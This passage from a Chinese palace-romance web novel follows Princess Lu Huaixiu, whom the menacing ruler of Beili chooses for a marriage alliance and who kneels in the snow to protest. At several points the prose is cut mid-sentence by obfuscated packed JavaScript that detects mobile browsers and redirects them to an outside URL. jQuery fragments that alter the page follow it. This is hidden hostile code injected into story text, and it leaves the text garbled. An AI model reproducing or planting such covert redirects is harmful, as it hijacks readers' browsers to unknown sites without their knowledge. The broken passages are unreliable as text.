心里咯噔一跳,众人隐约有了不妙的猜测,齐齐循声望去,果然发现双眼大睁倒地不起的新郎,以及扯下红盖头,在尸首旁哭得撕心裂肺的新娘。 倒吸一口凉气,他们凝目瞧去,只见新郎的胸口被穿出一左一右两个血洞,那身红袍染遍鲜血,看样子竟是早已死去。 2. 小公主 深冬腊月,天寒地冻,整座皇城笼罩在一片雪色之中。冷风如刀般刺进皇宫,可清平宫内依旧是温暖宜人,烧着上好的银丝炭,燃着上好的安神香。 典雅朴素的屋内,一身水色罗裙的女子端坐在玳瑁彩贝镶嵌的梳妆台前,由着身后糯米团子似的小丫头手执木梳,不急不缓的替她盘着发髻。 搁在梳妆台上的菱花铜镜里映出一张花想的容颜,螓首蛾眉,美目盼兮。 宫女荼蘼对着那面八角菱花铜镜一看,镜子里的女子不过十五,容貌略显稚气,却难掩颜色姝丽。看着看着,荼蘼不由得发出惊艳的叹息。 自家公主不愧是那位“皎若太阳升朝霞,灼若芙蕖出渌波”的颜贵妃所生,相貌明艳动人,又不失娇憨可爱,像能掐出水的水蜜桃,有她在的地方感觉空气都是甜甜的。 要说这位公主,姓陆名怀袖,于所有公主中排行第六,是当今最受宠的颜贵妃所生。 颜贵妃在后宫中受宠的程度无人能出其右,靖安帝曾因她随口一句“想吃樱桃”,当即就派人快马加鞭的从百里之外运送樱桃到盛京,再于次日清晨献宝似的送入长乐殿,颇有些“一骑红尘妃子笑,无人知是荔枝来”的味道了。 传说颜贵妃怀六公主的时候梦见明月入怀,靖安帝认为她与众不同,遂捧为掌上明珠,还赐给她“明月公主”的封号。 这位六公主可谓是集万千宠爱于一身,真如她的封号一般,是众星捧月般的存在。她甚至还是唯一一个拥有单独居所的公主,要知道未出嫁的公主都是同自己母妃住在一起的。 更难能可贵的是,就算有嚣张的资格,这位明月公主也绝不是个嚣张的主。她待人接物温和有礼,与人交谈也是进退有度,从来不摆公主的架子,可以说是很平易近人了。 荼蘼的手指在冰凉发丝间掠过,一边替自家公主编着辫子,一边和她有一搭没一搭的聊起天来:“奴婢听说北离国君裴无言携使团已至京都,今早陛下亲至朝阳门外迎接,并将其接引至皇宫中的东华馆暂住,明晚还要为他举办一场洗尘宴,到时候宫中的女眷也是要参加的。奴婢近日学了两个时兴的发型,可要将您好好打扮一番,让北离国人见识见识我大襄公主的风采。” 当世三大国中,北离实力最强,大襄次之,南央实力最弱。自裴无言称帝之后,北离自恃兵强马壮,近年来屡屡在边境挑衅襄国,两国关系可谓是剑拔弩张。 襄国地处中原,十分富庶,却因地理环境和国民风气,军队缺乏战斗力,并不善打仗,是以边疆从未安定过。而襄国一向秉承着“以和为贵”的外交政策,是以强敌虎视眈眈,执政者也不敢直缨其锋,而是想着示好求和。 此行是裴无言荣登大宝后首次赴京,意义重大,两国之间的关系也许能够得到缓和乃至改善。 陆怀袖听闻后并没有多大的反应,只是点了点头,表示自己知道了,然后继续低头绞着手指。 荼蘼若有似无地轻叹了一声,这位公主从小就不爱出风头,虽然才貌双全,却很少抛头露面,殿中也没有那些富丽堂皇的精美物件,整天就想着如何侍弄花草,以及弄来各种话本,简直不像是自幼在深宫大院中长大的。 她心中暗道,自家公主对檐下那盆白牡丹的兴趣,可能都要比那位远道而来的国君大得多。她忽然想到什么,手上编头发的动作都顿了一下,前不找村后不着店地开口问道:“公主喜欢什么样的人呢?” 对方话题转变太快,陆怀袖一时有些呆滞,好一会才反应过来她在问什么,白了她一眼,嗔道:“你问这个也为时过早了吧。” 荼蘼摸了摸小公主如绸缎般柔软光滑的发丝,格格娇笑道:“早么?公主几个月前不是才办过及笄礼。奴婢记得那一天有好多名门贵妇争着抢着给您添簪,陛下还差人端了一盘盘最新的钗环首饰送给您。” 大襄习俗,少女会在十五岁那年举办及笄礼,女性长辈会过来给她添簪,来的人越多,身份越尊贵,越说明这位少女的品德才学是被人认可的,以后在婆家的地位也就会越高。 因为陆怀袖是当朝最受宠的小公主,所以及笄礼上为她添簪的,不是后宫嫔妃就是诰命夫人。 而女子行完及笄礼后,便可以嫁人成家了。 陆怀袖显然也想到了这一层,她长叹一声,略显惆怅地说道:“自古以来婚姻大事皆由父母做主,身在帝王家更是如此。我连自己要嫁给谁都决定不了,想这些有的没的又有什么用呢?” 荼蘼闻言,眉头微不可见地蹙了一下,拨高了声音反驳道:“怎么会没用呢。您是所有公主中最受宠的那个,陛下和贵妃娘娘定会为您选一个符合您心意的驸马。” 听了她的话,陆怀袖的表情稍微好了一点。荼蘼见状,又锲而不舍地问道:“公主还没有回答奴婢,您到底喜欢什么样子的?” 没想到对方还还非得打破砂锅问到底不可,陆怀袖俏脸微红,支支吾吾一句话也说不出来。 荼蘼从小就侍奉在她身边,和她一同长大,可以说了解对方胜过自己。想起小公主隔三差五就偷偷托人给她捎来各种江湖话本的样子,荼蘼只觉自己触及到了真相,凑到陆怀袖耳边神秘兮兮地说道:“我知道了。” 听她这般半遮半掩的说话,陆怀袖倒是被勾起了一些好奇心,故意板着脸问道:“你知道什么了?不妨说来听听。” 荼蘼黑白分明的眼睛骨碌碌一转,声音软腻,语带揶揄:“公主必定是喜欢意气风发肆意潇洒的江湖少年郎。” 陆怀袖听罢,低着头装作若无其事的样子,声音飘忽地说道:“没这回事。”如果忽略小公主白皙的耳朵上那可疑的红晕,荼蘼也许就真的信了她的话。 小丫头还待要再揶揄几句,陆怀袖已然从位置上站起身来,视线落在一只陈色极好的白玉花瓶上,如闲谈般说道:“当下正是梅花盛开的时节,我们去外面折几枝来,装饰一下那只宝瓶吧。” 荼蘼顺着她的视线朝着那只白玉瓶看过去,这是陛下今早遣人送来的,说是北离国君到访送来的贺礼。靖安帝知小女儿偏爱侍弄花草,便从一堆稀奇古玩中挑选出一只花纹巧夺天工的羊脂玉白瓷花瓶赏给她。 花瓶玉质细腻,色泽怡人,若是折上几枝红梅装点,红白相映,必定是极好看的。只不过外面天寒地冻的,公主这时候提出要外出折花,显然也有被她说中了心事,而且不想让她继续说下去的缘故在。 荼蘼并不拆穿,清脆地应了一声:“奴婢遵命。”而后便去为她准备外出的衣物了。 * 又折下一枝梅花,穿着雪白狐裘的少女怀里搂着一簇红梅站在雪地里,她生得杏眼桃腮,身段窈窕,晶莹雪花落在她的头顶,发梢,以及浓密纤长的睫毛上,只是安安静静的站在那里,便是道极其悦目的风景。 陆怀袖将怀中抱着得梅花放到鼻子底下嗅了嗅,只觉一股清冷的梅香沁入心脾,使得她不由得发出了一声满足的喟叹。 少女正嗅着那股氤氲馥郁的芳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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大功告成,少女将石头随手丢弃,而后拍了拍手上的尘土,正准备起身,忽然察觉到背后有一道危险的目光,像是一条阴冷的毒蛇爬过她的脊背,让她不寒而栗。 陆怀袖害怕得额头直冒汗,下意识咽了咽口水。她努力忽视心底深处传来的那股恐惧,僵硬地转过身子,发现一名面容略显阴鸷的瘦削中年男子正以炽热的目光盯着她。对方外披黑狐大氅,内穿箭袖玄衣,浑身散发着上位者的气势。 见陆怀袖回头,那人还朝她缓缓扯出了一抹笑容,好像要向她证明,刚才她察觉到的阴冷视线只是错觉。 那时的陆怀袖并没有领会到那抹笑容的深意,那是一种猎人看见心仪猎物后的振奋。莫名的,她有些不敢和那人对视,不自在地挪开了视线。 无端想起在清平宫中和荼蘼的闲谈,陆怀袖心中隐隐约约有了一个猜测,不安地咽了咽口水。 想到那人可能的身份,以及他看向她的带有强烈占有欲的眼神,陆怀袖微微变了脸色,只觉得一刻也呆不下去了。她倏然吸了一口冷气,强迫自己镇定下来,而后对着那人有礼有节地福了福身子,之后便拉着荼蘼快步离开了,好像身后有什么洪水猛兽一样。 雪地上留下了几行深深浅浅的脚印,很快又被飘落的飞雪覆盖,不见踪迹。身披厚重黑色狐裘的男人望着陆怀袖离开的背影,眼神疯狂又偏执,满是占有欲。那眼神好像是在看她,又好像是在透过她看另一个人。 直到对方的身影彻底消失不见,男人的唇角勾起了一抹阴毒的笑容。 这个小姑娘可真像她啊,他见过的所有女人中最像她的那个。 就像瓷娃娃一样,看了专门想打碎的那种。 被打碎了,肯定也和她一样漂亮吧。 3. 洗尘宴 为北离国君裴无言举办的洗尘宴设在永安殿,皇子公主,文武百官及其家眷今晚都将出席,此番盛大,比之年宴有过之而无不及。 荼蘼本要帮自家公主盛装打扮一番,让她惊艳四座,但公主并不想太张扬,她只好将对方头上唯一的珠钗取下,让对方换了一件颜色素净的藕荷色衣裙,淡扫蛾眉朝至尊。 赴宴前,陆怀袖心里莫名紧张,明明她自幼在深宫长大,十五年间也不知道参加过多少次宴会了。也许是因为在这场洗尘宴上,她可能会再次见到昨天意外撞见的那个男人。 一想到对方看自己的眼神,陆怀袖就觉得不寒而栗,那种直达灵魂的恐惧感,掐紧着她的心脏,让她彻夜难眠。而这也是她衣裙素净,不见珠翠的原因。如果可以的话,她甚至不想出席这场洗尘宴,但她不得不参加。 甫一踏入举办洗尘宴的揽月殿,陆怀袖便找到了给诸位公主安排的席位。一位年约十二三岁,身着桃红色衣裙的俏丽少女正百无聊赖的摆弄着手中的茶杯,看到她时眼睛一亮,朝她大力挥了挥手,声音不掩兴奋:“六姐姐。”见她朝自己走了过来,少女大喜,拍了拍自己旁边的位置。 陆怀袖当即在她身旁落座,少女又朝着她看了眼,眼底笑意更深了些。 这位少女是陆怀袖的七妹陆怀醉,是靖安帝醉酒之后与一名负责洒扫的宫女所生的女儿,因为生母身份低微,并不受皇室待见。宫里的人都是些拜高踩低,欺软怕硬的主,不受皇帝重视的公主,他们自然轻慢。 在这个黑暗的宫廷中,陆怀醉作为一个不得势的公主,也不知受过多少人的欺负和白眼,连太监宫女都能够爬到她头上作福作威,从小到大也只有陆怀袖护着她,所以她一直都很亲近这位心地善良的六姐姐。 待陆怀袖落座之后,两姐妹有一搭没一搭的闲聊着,忽然一声尖锐的太监唱喏声响彻大殿之内:“皇上驾到!国君驾到!” 殿门外太监通报的声音从门口传到席上每位贵宾耳中,殿内众人瞬间整理衣衫,毕恭毕敬的起身施礼相迎,陆怀袖亦跟着起身,直直朝殿门望去。 片刻,靖安帝和北离国君相携而入,陆怀袖抬眸望去,映入眼帘的便是昨日她在梅园撞见的那个男人。她幽幽地叹息了一声,这可真是冤家路窄,不愿意见面的人偏偏相遇。 当朝皇帝年逾四十,和北离国君裴无言差不多大。他精神矍铄,眉眼锋利,讲了几句场面话之后,便大气的摆摆手,挥了挥他的明黄的衣袖示意众人坐下。 重新落座之后,陆怀袖就一直低着头,尽量降低自己的存在感。她不经意间瞥见陆怀醉空空如也的碗底,碗中满满的八宝莲子羹竟是被对方喝得一点都不剩。 陆怀袖略一思忖,将自己那碗推给了妹妹,一脸温和地说道:“今日我胃口不好,这碗莲子羹就交给妹妹解决了。”她并没有撒谎,在看到北离国君的那一刻起,她胃口全无。 陆怀醉只觉得触到碗身的手指尖滚烫,那温度透过掌心熨帖着她的心脏。她抽了抽鼻子,努力克制住情绪道:“谢谢六姐姐,六姐姐最好了。” 小姑娘眼眶发红,眼中已蓄起泪光,看上去有点好笑又有点可怜。她的母妃生下她之后就血崩而亡了,这十几年来没爹疼没娘爱,宫人也欺负她,排挤她,故意不给她留吃的,她吃了上顿没下顿,每天都饿肚子,所以寻常一碗莲子羹她也觉得是美味佳肴。 思及此,陆怀袖心中泛起酸涩,抬手摸了摸正在大快朵颐的妹妹脑袋,柔声说道:“你吃慢点,可别噎着了。” 忽然她又感受到那道熟悉的视线,抬眸望过去,正好对上那位国君的目光。四目相对后,陆怀袖瞳孔微微一缩,不着痕迹地挪开视线,乌黑的眼睛直直的盯着面前的碗,像是要把碗底盯出一个洞来。 陆怀袖在心里腹诽道,她不就是两只眼睛一个鼻子一张嘴吗,有什么好看的。 之后她便不敢再抬头,食不知味地扒着饭,心中只盼着这宴席快点结束,她好早点回宫。只可惜在宴席结束之前,还有一波又一波的歌舞表演。 也许老天爷听到了她的心声,北离国君裴无言突兀地出声:“寡人记得十几年前来初来贵地,看的就是歌舞表演,没想到十几年后旧地重游,翻来覆去还是这几个花样,难免有些乏味了。” 靖安帝听他这般说,当机立断,叫停了歌舞表演,然后盯着坐在左手边最上席的裴无言,中气十足地说道:“国君是远道而来的贵客,想看什么不妨直说,朕会尽量满足。” 裴无言不缓不慢地刮着茶盏,气定神闲地说:“不如寡人布下文武两关,让席上众人应战,一则为了助兴,二则也能让寡人见识见识贵国的人才,皇帝陛下觉得如何?” 靖安帝沉吟了一会儿方道:“那就按国君所说的做。” 裴无言得到皇帝的应允之后才点头说道:“首先是武试。寡人让人备好一枚铜钱,若有人能在百步之外射穿铜钱之孔,就算过了武试。”他的尾音上扬,带着看好戏的愉悦。 靖安帝听罢,只微微一笑,一副胜券在握的模样。他轻轻招手唤来了平日的贴身侍卫,语含笑意:“李侍卫箭术出神入化,这武试一关的应战之人非你莫属。” 他的这位贴身护卫经常追随他打猎。一次,主仆二人正在打猎时,两只大雕在空中盘旋,看样子好像在争夺一块肉。靖安帝忙问对方能不能把这两只雕射下来,对方点点头,弯弓搭箭,真的一箭射下两只打得难分难解的大雕。 此事过后,李奈便成了神箭手的代名词。盛京若有自夸箭术好的,别人就会说,你箭术再好,好得过李奈么,对方便不敢再夸口了。 在来自皇帝陛下的命令后,李奈走到指定的地点站定,国君命手下将一柄大得夸张的弯弓搬了过来,搬它的人都被它压得直不起腰来,然而李侍卫单手握住弓臂,十分轻松地就举了起来。 他又从另一边的侍卫手中取过一支羽箭,不紧不慢地搭上弓箭,将八百石铁胎弓拉成了十五的月亮,动作如行云流水,仿佛已经做过无数遍。羽箭铁质的尖端泛着冷光,只听嗖的一声,这支箭如流星赶月一般冲出,穿入铜钱的方孔之中。 目睹此景,席上众人尽皆呆了,不过随即都反应过来,赶紧鼓掌,掌声如雷,久久不息。 裴无言看后,抚掌大笑道:“李侍卫不愧是是神箭手,能射中百步以外的铜钱,果真厉害得很,寡人今日可是大开眼界了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273350|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >听到对方夸赞自己的属下,靖安帝却比夸奖自己还要高兴。他龙颜大悦,满脸欣赏地冲李奈笑道:“李侍卫替朕过了武试,朕便赏你绫罗百匹,黄金千两。” 靖安帝的话音刚刚落下,李奈便上前一步,对着他跪谢道:“多谢陛下赏赐,属下感激涕零。”他虽然表面不动声色,一脸冷淡,唇角却无声无息地翘了翘,如同一只被主人摸头夸赞的小狗,看着和平时没什么两样,摇晃着的尾巴却暴露出其心情愉悦。 过得片刻,裴无言又开口出声:“武试过了就是文试,接下来寡人会出个对子,看有没有人接得上。” 听他这么一说,靖安帝顿时来了兴致,好奇问道:“不知国君对对子的上联是什么?” 裴无言环视一圈,最终将视线投向角落取暖用的木炭火盆,黑色的木炭燃着明亮的红火,燃烧的灰烬累积了一层又一层。他灵光一闪,于是开口道出上联:“炭黑火红灰似雪。”说完,笑望众人,等待答对。 席上诸人你看我我看你,一个个抓耳挠腮冥思苦想,可是绞尽脑汁也没能对出下联。沉闷的静默在殿内蔓延开来,气氛一时变得有些凝滞,只剩下炭火劈里啪啦的燃烧声。 裴无言很是得意,靖安帝的脸色则很是难看。太丢脸了,今日赴宴的都是皇亲国戚,朝中重臣,却无一人对得出对方偶然间想出的上联。 陆怀袖也存了替父皇排忧解难的心,她的脑袋飞速运转着,想要对出下联。视线不经意间落入碗中,因为今日胃口不佳,她没吃多少,看着饭碗中还剩下大半碗的白米饭,她忽然福至心灵,已然想出了下联。 下一刻,她不慌不忙地站起身来,整了整衣裙,表情镇定,从容说道:“儿臣愿意一试。” 靖安帝听得她这般说,知道自己这位小女儿自幼聪敏过人,连忙向她问道:“明月儿能对的出下联么?” 陆怀袖点了点头,葱尖般的手指指向面前的白米饭,一字一句,无比清晰地答道:“谷黄米白饭如霜。” 随着她的话音落下,席上众人不禁拍手称绝,这上下两联真是对仗工整,严丝合缝。他们以钦佩的目光看向陆怀袖,异口同声地说道:“对得好!对得妙!” 裴无言也颇有兴致地看向她,唇角泛起一抹深意来,紧接着看似随意地开口:“素闻明月公主才貌双全,知书达理,是贵国公认的才女,今日亲眼所见,才知传言非虚,寡人不由得大是心折啊。” 陆怀袖被夸奖后并没有很开心,藏在袖中的手指微微收紧,指甲刺入肉里。 靖安帝并未察觉到两人之间的异样氛围,他冲着小女儿含笑道:“明月儿刚刚表现得很好,说说看,想要什么赏赐。” 陆怀袖轻轻摇了摇头,恭敬答道:“儿臣多谢父皇厚爱,但为父皇分忧是儿臣的分内之事,不敢居功邀赏。” 见她这般懂事,靖安帝不禁满意地点了点头,眼底笑意更深。他优雅地挥挥手,示意这位在他众多子女中最受他宠爱的小公主坐下。 陆怀袖再度落座,只觉得如芒在背,坐立难安。 她在极力忽视那道毫不避讳的从自己身上扫过,带着毫不掩饰的侵略性,如同一头饿了许久的恶狼盯着美食一样的目光。 4. 圣旨到 陆怀袖端坐在书案旁,正低头看着一册江湖话本,柔软的乌发松然垂落在宽大的衣袍之上。 话本讲述的是天下第一剑客击败了天下第一大魔头,维护了武林的和平与正义,最终迎娶了天下第一美人的俗套故事,她却看得津津有味。 之前荼蘼说她喜欢意气风发恣意潇洒的江湖少侠,她嘴上不认,可心里却认了。 更准确地说,她喜欢的是江湖儿女快意恩仇。她很羡慕那些少年侠士,他们走南闯北,四海为家,像是长空逐云的飞鸟,而她仰头望天,却只能看到四四方方的一片,眼中的世界都是别人裁剪好的。 她时常想,也许是因为只能生活在一寸见方之地,被囿于城墙内,这些地方的女人才会像千鲤池的鲤鱼一样,一旦主人丢了一点鱼食下去,她们就会拼了命地蜂拥过来,叠罗汉般的争相抢食。为了一点微不足道的东西,拼得你死我活,斗个不可开交,以此取悦她们的主人。 以后她也会这样吧,嫁给一个素未谋面的男人,住进跟棺材一样的宅院里,过上生儿育女,相夫教子这种一眼就能望到头的生活。每天处理一堆鸡零狗碎的琐事,应付家族内部的勾心斗角。为了不被挖墙脚,巩固自己正宫的地位,还要时刻提防丈夫身边的莺莺燕燕们,将妄图扑向他的女人赶走,让他眼中从此只有自己一个人。 真可悲啊。 想到自己有朝一日也会变成池子里的一条鲤鱼,陆怀袖没来由地感到一阵害怕。她想自己之所以会喜欢江湖少年郎,其根本原因是在对方身上寄托了自己对自由的向往和热爱,对方活得那么鲜活热烈,喜欢他就好像自己也活得那么好。 她正读到少侠倚着窗,在皎洁月辉下与好友喝酒谈天下趣事这一段,只觉无比心动,忽然左眼皮狂跳,一股不祥的预感涌上心头。几乎是同时,伴着珠子清脆的碰撞声,分隔里外间的珠帘被掀开,一名十八九岁的年轻女子袅袅娜娜地走了进来。 女子一身绛紫色宫装,如云的乌发盘在头顶,用两枚牡丹样的金钗锁住,飒爽里平添了一分女儿气。以任何人的眼光来看,这都是一位艳光四射的大美人。 陆怀袖抬眸看去,顿时一个头两个大,来人正是身上同样流淌着皇室血脉,从小就和她不对付的四公主,陆怀瑾。 对方是皇后嫡出的公主,身份尊贵,高出了其他公主一头。陆怀袖也不知道自己哪里惹了她,对方从小就爱逮着自己欺负,在一次宫宴上还悄无声息给自己下了痒痒粉,就是为了看自己出丑。 中招后的陆怀袖又痒又疼,皮肤生起很多红疹。颜贵妃发现女儿的异状,很是心疼,顺藤摸瓜查到是四公主所为,于是便向靖安帝告状。靖安帝心疼小女儿,罚陆怀瑾禁足半月,对方出来后就更恨她了,只是再不敢明目张胆地捉弄她了。 一年前,四公主陆怀瑾嫁给了兵部尚书府的嫡出公子,对方文武双全,才智过人,本是位难得的佳婿,奈何在一场马球比赛中不小心坠马,好不容易捡回一条命,却断了双腿成了残废,后半生也只能坐轮椅了,这门好亲事也就变成了坏亲事。 后半生还得守活寡的陆怀瑾脾气比之前更差了,三天两头就往宫里跑,婆家理亏,也不敢对她说什么。陆怀袖也尽量对她避而不见,以免对方把气撒到自己身上。 来者不善,善者不来,这位从小就爱找她麻烦的四姐姐突然到访,准没好事。 陆怀袖心里虽然暗暗叫苦,但是面上却不显山露水。她先是将自己方才所读的话本偷偷藏好,然后吩咐荼蘼给贵客上茶。 待对方落座之后,陆怀袖客客气气地问道:“四姐姐今日来此,不知有何事?” 陆怀瑾正端详着自己那涂满丹蔻的指甲,闻言俏脸一板,故作生气的娇嗔道:“怎么,没事就不能找你吗?” 她眉眼凌厉,又天生贵气,板起脸来很是迫人,说出的话又咄咄逼人,陆怀袖的喉头像被团棉絮堵住了,发不出声来。 玩味地看了这位天生跟她八字犯冲的六妹妹一眼,陆怀瑾凑过去,不怀好意地笑道:“我今天是来跟你分享个好消息的。” 听到她这般说,陆怀袖不喜反忧,她的好消息对自己来说必定是坏消息,难怪对方上赶着要来见自己。 这时荼蘼推门进来,双手将茶盏奉上。陆怀瑾捏着茶盏轻轻抿了口茶,随后点了点头道:“嗯,不错,是南岳进贡的云雾茶吧?果然香味隽绝。父皇可真是宠六妹妹呢,百金一两的好茶,却随手赏了你。”话音刚落,她又意味深长地补充了一句,“只可惜你再怎么得宠,也逃不开被当成筹码送人的命运。” 随着对方的话音落下,陆怀袖黑漆漆的睫毛颤了颤,指尖忍不住揪紧了衣裙下摆。她的心里开始泛起浓浓的不安,对方说这样的话,又是什么意思? 将她所有的表情都收进眼里,陆怀瑾唇角勾起一抹畅快的笑意,而后坐直身子,再接再厉地说道:“六妹妹有所不知,那位北离国君相中了你,离开前还特地向父皇请求要你和亲,父皇权衡利弊,最后还是同意了。” 这番话如同晴天霹雳,径直在陆怀袖的脑海中炸开。她无法思考,脑中只有“那位北离国君相中了你,离开前还特地向父皇请求要你和亲”这句话不断回响。 陆怀瑾的话像是一把锋利的刀刃,血淋淋捅在陆怀袖的心上,但她尤嫌不够,还要在对方伤口上撒盐,“六妹妹有所不知,这位北离国君曾有过五任皇后,只是无一例外都被他残忍杀害掉。第一任被捅死,第二任被吊死,第三任被淹死,第四任被烧死,第五任被活埋。而你,我蕙质兰心的六妹妹,大襄最受宠爱的六公主,即将成为这位虐杀了五任皇后的国君的第六任皇后。” 她每说一个字,陆怀袖的脸色便白上一分,说到最后,对方已是面无人色,看上去一点活人气息也无。 俗话说得好,他人的不幸是蜜的味道。看着被自己一番话打入无间地狱的陆怀袖,陆怀瑾心情瞬间好到了极致。对她来说,这位六妹妹若是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273351|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝一日嫁得如意郎君,可要比她的夫君摔断腿变成残废还让她难受。 眨了眨眼睛,陆怀瑾装模作样地安慰道:“六妹妹嫁过去后也不一定落得一死,说不定那位老国君就被你的天真烂漫所打动,觉得你和寻常的女子很是不同,然后就被那些哄骗怀春少女的烂俗话本里的廉价男人夺了舍,把你捧在掌心里,当成没手没脚没脑子的残废宠,仿佛疼你爱你就是他全部的人生意义。”说完,她眉目舒展地笑了起来,毫不掩饰自己的恶意。 可是她刚笑了几声,却又突然停住了,只因一道尖细却悠长的声音传了进来,姐妹俩都认出声音的主人是靖安帝身边的太监总管福公公。似乎是预料到接下来会发生什么,陆怀袖的脸色越发苍白,陆怀瑾的表情则是越发愉悦。 不过片刻,一身青衣的福公公便手持圣旨走了进来。看到那位向来和六公主不对付的四公主也在这里,他眼中的讶异一闪而过,不过面上表情转瞬便恢复如初,而后不疾不徐地说道:“皇上有旨,六公主接旨。” 迎着陆怀瑾幸灾乐祸的目光,陆怀袖动作迟缓地跪下接旨,此时她的脑袋昏沉,四肢无力,光是作出跪地这个动作就让她耗费了全部体力。 福公公用他那毫无起伏的声音一字一句地宣读道:“六公主陆怀袖秀外慧中,德才兼备,有高门贵女之风,宜和亲北离,望襄国,北昭,永结邦交之谊,钦此——”宣读完毕后,他将圣旨放到陆怀袖手上。 在一片难捱的沉默之中,荼蘼快步走到总管身边,不动声色的塞给他一包沉甸甸的银子,“有劳公公了。” 福公公接过钱袋,感觉了一下手中的重量,满意地点了点头。他临走前鬼使神差看了眼依旧跪在原地,动也不动,宛似泥塑木雕一般的六公主,怜悯之心油然而生。 他垂眸看向陆怀袖,轻声劝慰道:“如今陛下的旨意已经下达,和亲之事就成了定局,无人能够更改了。公主下月十九便要嫁过去,还是尽早接受这个事实吧。”说完便不再多言,回去复命了。 陆怀瑾将圣旨一字不落地听入耳中,随后看了眼仿佛被人抽走了灵魂,只剩下一具躯壳的陆怀袖,只觉得无比畅快。 她走到对方面前,略略弯下腰,拖长了声音嘲讽地说道:“恭喜六妹妹,贺喜六妹妹,马上就要成为母仪天下的一国之后了。”无比愉悦地笑了几声之后,便扬长而去。 荼蘼默默咬牙,只觉得此人的笑声无比刺耳,她心中愤愤不平道,这位四公主怎么就这么歹毒呢,百般针对自家姐妹又有什么好处呢。越想越气,她抬脚跺了跺地面,好像踩得是四公主那张美艳却欠扁的脸。 发泄完怒火后,荼蘼转头看向自家公主,对方手上拿着那卷决定了她终身大事的圣旨,正盯着虚空的某点,眼神呆滞,全然没有往日的灵动。 荼蘼忽然觉得很难受,她想起那日和公主的闲谈,公主说身为皇亲贵族的女人,婚事由不得自己,一切以利益为主,却没想到最终一语成谶。 5. 不想嫁 荼蘼本想上前扶自家公主一把,然而,那手还没触及对方手臂,陆怀袖便站了起来,将手中圣旨丢给她之后便自顾自的往殿外走去。 看着被塞入手中的圣旨,荼蘼先是愣了一愣,反应过来后立马将圣旨收好,然后追着陆怀袖的脚步出了清平宫。 她一路小跑紧跟着陆怀袖,一边跑一边气喘吁吁,一边气喘吁吁还一边公主公主的喊,试图让对方走慢一点,自己好跟上。 主仆二人一路疾行穿过宫道,转过亭台楼阁,直奔御书房的方向而去。清平宫距御书房不远,加上她们走得急,不过一盏茶的便到了。 陆怀袖轻车熟路地走到御书房门口,守在御书房门外的小太监见她到来,欲要跪下行礼,但陆怀袖抬手制止了他,言简意赅地表明了自己的来意,让他进去通报一声。小太监一脸为难,但是又不敢违逆公主的命令,只得快步进了御书房。 不一会,小太监缓步走出,脸带歉意的看着陆怀袖,鞠身低头道:“回禀殿下,陛下正在批阅奏折,此刻怕是不便见殿下。但他让奴才转告您,他知道您为何来此,要您趁早打消这个念头,他也不想让您远嫁,但您不得不嫁。” 陆怀袖将这番话一字不落的听在耳内,虽然早知道靖安帝不会轻易收回成命,但对方拒绝得如此斩钉截铁,还是让她心寒不已。但她头一次没有乖乖听话,而是扑通一声跪倒在地。 此时厚厚的积雪覆盖到了地面上,陆怀袖一跪下来就跪在了雪地上,她急匆匆出了寝殿,身上还没来得及披件斗篷,刚落地就被冻得直打哆嗦,瘦削的身子在寒风中显得无比单薄。 她攥紧双拳,深吸了一口冷气入肺,而后声音猛地拔高:“父皇不见儿臣,儿臣就一直跪下去。” 没想到她突然会有这样的举动,小太监束手束脚地站在旁边,不知如何是好。想了又想,他只能禀报给福公公,让对方处理这件棘手的事。 荼蘼看着脊背挺直跪在雪地里的公主,北风吹乱了她的三千青丝,鹅毛般的雪花落了她满头满身,但她的脊背笔直依旧如利剑,不曾有半点弯曲。荼蘼边看边叹气,心知这位六公主在小事上是最好说话的,但要摊上大事,就算用八十条绳子都拉不回来她。 譬如她今日要见靖安帝,让他收回成命,即使对方将她拒之门外,她也要跪到对方愿意见她为止。 又是扑通一声,荼蘼也跪了下去。陆怀袖看着和她一起跪着的荼蘼,很是动容。她心中思绪百转千回,可最终却没说出什么话来。 两人不知道跪了多久,大雪纷纷落在她们头上脸上,渐渐将她们全身上下都覆盖住,远远看去,如同两个雪人。 这一幕,清晰地落入了殿外众仆的眼中。他们齐齐看向陆怀袖,她的身上已是落满了一层厚厚的积雪,却依旧是那副倔强不服输的模样。 就在大家都以为主仆二人要跪到天荒地老的时候,福公公从御书房走出,高声喊道:“陛下有令,殿外所有人和公主一起跪下去,公主不起来,你们也不能起来。” 殿外众仆听了,心底叫苦连天。俗话说得好,神仙斗法,凡人遭殃,他们就是遭殃的那群凡人。但没办法,圣上的命令,他们不敢不从。雪地上,台阶上,走廊上,顿时乌压压跪了一地的宫女和太监。 陆怀袖扫视了一眼远近到处跪着的那些人,心知是自己连累了他们,若自己不起身,他们也得陪自己跪下去。为了不让他们再继续受罪,自己就只能主动放弃“父皇不见儿臣,儿臣就一直跪下去”的行为,靖安帝这是在利用她的同情心逼她放弃。 纵使陆怀袖想通了这一点,面对受自己牵累的一众奴仆,她还是于心不忍。想了又想之后,她拉着荼蘼踉跄着起身,费力地站了起来,一阵阵刺骨的疼痛从双膝处传来。剧痛锥心刺骨,但她咬牙忍着,不发出半点声音,和荼蘼互相搀扶着,一瘸一拐地径直离去。 